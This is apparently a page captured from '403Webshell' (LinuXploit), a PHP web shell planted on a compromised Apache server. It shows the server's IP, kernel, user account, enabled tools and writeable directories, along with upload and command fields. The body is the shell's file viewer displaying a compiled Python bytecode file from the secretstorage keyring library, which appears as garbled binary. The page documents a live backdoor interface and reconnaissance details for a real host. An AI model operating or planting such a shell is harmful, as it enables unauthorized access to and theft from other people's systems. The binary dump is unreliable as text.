403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/secretstorage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/secretstorage/__pycache__/item.cpython-311.pyc
�

��b����dZddlmZmZddlmZddlmZddlm	Z	ddl
mZmZddl
mZmZmZmZmZddlmZmZmZdd	lmZed
zZGd�d
��ZdS)
aQSecretStorage item contains a *secret*, some *attributes* and a
*label* visible to user. Editing all these properties and reading the
secret is possible only when the :doc:`collection <collection>` storing
the item is unlocked. The collection can be unlocked using collection's
:meth:`~secretstorage.collection.Collection.unlock` method.�)�Dict�Optional)�DBusConnection)�	SS_PREFIX)�Session)�LockedException�PromptDismissedException)�DBusAddressWrapper�exec_prompt�open_session�
format_secret�unlock_objects)�Cipher�
algorithms�modes)�default_backend�Itemc	��eZdZdZ	ddededeeddfd�Zdd	de	fd
�Z
de	fd�Zdd�Zde	fd
�Z
deeeffd�Zdeeefddfd�Zdefd�Zdeddfd�Zdd�Zdefd�Zdefd�Z	ddededdfd�Zdefd�Zdefd�ZdS) rzRepresents a secret item.N�
connection�	item_path�session�returnc��||_t|t|��|_|j�d��||_||_dS)N�Label)rr
�
ITEM_IFACE�_item�get_propertyrr)�selfrrrs    �4/usr/lib/python3/dist-packages/secretstorage/item.py�__init__z
Item.__init__sD��"���'�	�:�z�J�J��
��
����(�(�(����$������otherrc�Z�t|jt��sJ�|j|jkS�N)�
isinstancer�str)rr"s  r�__eq__zItem.__eq__$s)���%�/�3�/�/�/�/�/��~���0�0r!c�P�t|j�d����S)zJReturns :const:`True` if item is locked, otherwise
        :const:`False`.�Locked)�boolrr�rs r�	is_lockedzItem.is_locked(s"���D�J�+�+�H�5�5�6�6�6r!c�L�|���rtd���dS)zYIf collection is locked, raises
        :exc:`~secretstorage.exceptions.LockedException`.zItem is locked!N)r,rr+s r�ensure_not_lockedzItem.ensure_not_locked-s/���>�>���	5�!�"3�4�4�4�	5�	5r!c�8�t|j|jg��S)a�Requests unlocking the item. Usually, this means that the
        whole collection containing this item will be unlocked.

        Returns a boolean representing whether the prompt has been
        dismissed; that means :const:`False` on successful unlocking
        and :const:`True` if it has been dismissed.

        .. versionadded:: 2.1.2

        .. versionchanged:: 3.0
           No longer accepts the ``callback`` argument.
        )rrrr+s r�unlockzItem.unlock3s���d�o���/?�@�@�@r!c�T�|j�d��}t|��S)z%Returns item attributes (dictionary).�
Attributes)rr�dict)r�attrss  r�get_attributeszItem.get_attributesBs#���
�'�'��5�5���E�{�{�r!�
attributesc�>�|j�dd|��dS)z2Sets item attributes to `attributes` (dictionary).r2za{ss}N)r�set_property)rr6s  r�set_attributeszItem.set_attributesGs"���
����g�z�B�B�B�B�Br!c�h�|j�d��}t|t��sJ�|S)z$Returns item label (unicode string).r)rrr%r&�r�labels  r�	get_labelzItem.get_labelKs2���
�'�'��0�0���%��%�%�%�%�%��r!r<c�f�|���|j�dd|��dS)zSets item label to `label`.r�sN)r.rr8r;s  r�	set_labelzItem.set_labelQs4����� � � ��
�����e�4�4�4�4�4r!c���|���|j�dd��\}|dkr)t|j|��\}}|rtd���dSdS)zDeletes the item.�Delete��/zPrompt dismissed.N)r.r�callrrr	)r�prompt�	dismissed�_results    r�deletezItem.deleteVsu����� � � ��*�/�/�(�B�/�/����S�=�=�!,�T�_�f�!E�!E��I�w��
D�.�/B�C�C�C��=�
D�
Dr!c���|���|jst|j��|_|j�dd|jj��\}|jjst|d��S|jj	�J�tj|jj	��}t|d��}t|tj|��t�������}|d}|�t|����|���z}t'|t��sJ�|d|d�S)z!Returns item secret (bytestring).�	GetSecret�o�N����)r.rrrrrE�object_path�	encrypted�bytes�aes_keyr�AESrr�CBCr�	decryptor�update�finalizer%)r�secret�aes�aes_ivrV�encrypted_secret�
padded_secrets       r�
get_secretzItem.get_secret_s5����� � � ��|�	9�'���8�8�D�L��*�/�/�+�s�D�L�4L�M�M����|�%�	$�����#�#�#��|�#�/�/�/��n�T�\�1�2�2���v�a�y�!�!���3��	�&� 1� 1�?�3D�3D�E�E�O�O�Q�Q�	�!�!�9��!�(�(��/?�)@�)@�A�A�I�DV�DV�DX�DX�X�
��-��/�/�/�/�/��0�}�R�0�0�0�1�1r!c���|���|jst|j��|_|j�dd|jj��\}t|d��S)z-Returns content type of item secret (string).rKrL�)r.rrrrrErPr&)rrYs  r�get_secret_content_typezItem.get_secret_content_typeps]����� � � ��|�	9�'���8�8�D�L��*�/�/�+�s�D�L�4L�M�M����6�!�9�~�~�r!�
text/plainrY�content_typec���|���|jst|j��|_t	|j||��}|j�dd|��dS)z�Sets item secret to `secret`. If `content_type` is given,
        also sets the content type of the secret (``text/plain`` by
        default).�	SetSecretz(oayays)N)r.rrrr
rrE)rrYrc�_secrets    r�
set_secretzItem.set_secretxsb��
	
��� � � ��|�	9�'���8�8�D�L����f�l�C�C���
����Z��9�9�9�9�9r!c�h�|j�d��}t|t��sJ�|S)zxReturns UNIX timestamp (integer) representing the time
        when the item was created.

        .. versionadded:: 1.1�Created�rrr%�int)r�createds  r�get_createdzItem.get_created�s4��
�*�)�)�)�4�4���'�3�'�'�'�'�'��r!c�h�|j�d��}t|t��sJ�|S)z_Returns UNIX timestamp (integer) representing the time
        when the item was last modified.�Modifiedrj)r�modifieds  r�get_modifiedzItem.get_modified�s4���:�*�*�:�6�6���(�C�(�(�(�(�(��r!r$)rN)rb)�__name__�
__module__�__qualname__�__doc__rr&rrr r*r'r,r.r0rr5r9r=r@rIrRr^rargrkrmrq�r!rrrs������#�#�?C�%�%�>�%��%�*2�7�*;�%�GK�%�%�%�%�1�,�1��1�1�1�1�7�4�7�7�7�7�
5�5�5�5�
A��
A�
A�
A�
A���S�#�X������
C��c�3�h��C�D�C�C�C�C��3�����5�s�5�t�5�5�5�5�
D�D�D�D�2�E�2�2�2�2�"������(4�	:�	:��	:�!$�	:�8<�	:�	:�	:�	:��S������c������r!N)ru�typingrr�jeepney.io.blockingr�secretstorage.definesr�secretstorage.dhcryptor�secretstorage.exceptionsrr	�secretstorage.utilr
rrr
r�&cryptography.hazmat.primitives.ciphersrrr�cryptography.hazmat.backendsrrrrvr!r�<module>rs3��?�?�"�!�!�!�!�!�!�!�.�.�.�.�.�.�+�+�+�+�+�+�*�*�*�*�*�*�N�N�N�N�N�N�N�N�:�:�:�:�:�:�:�:�:�:�:�:�:�:�L�L�L�L�L�L�L�L�L�L�8�8�8�8�8�8�
��
�
�x�x�x�x�x�x�x�x�x�xr!

Youez - 2016 - github.com/yon3zu
LinuXploit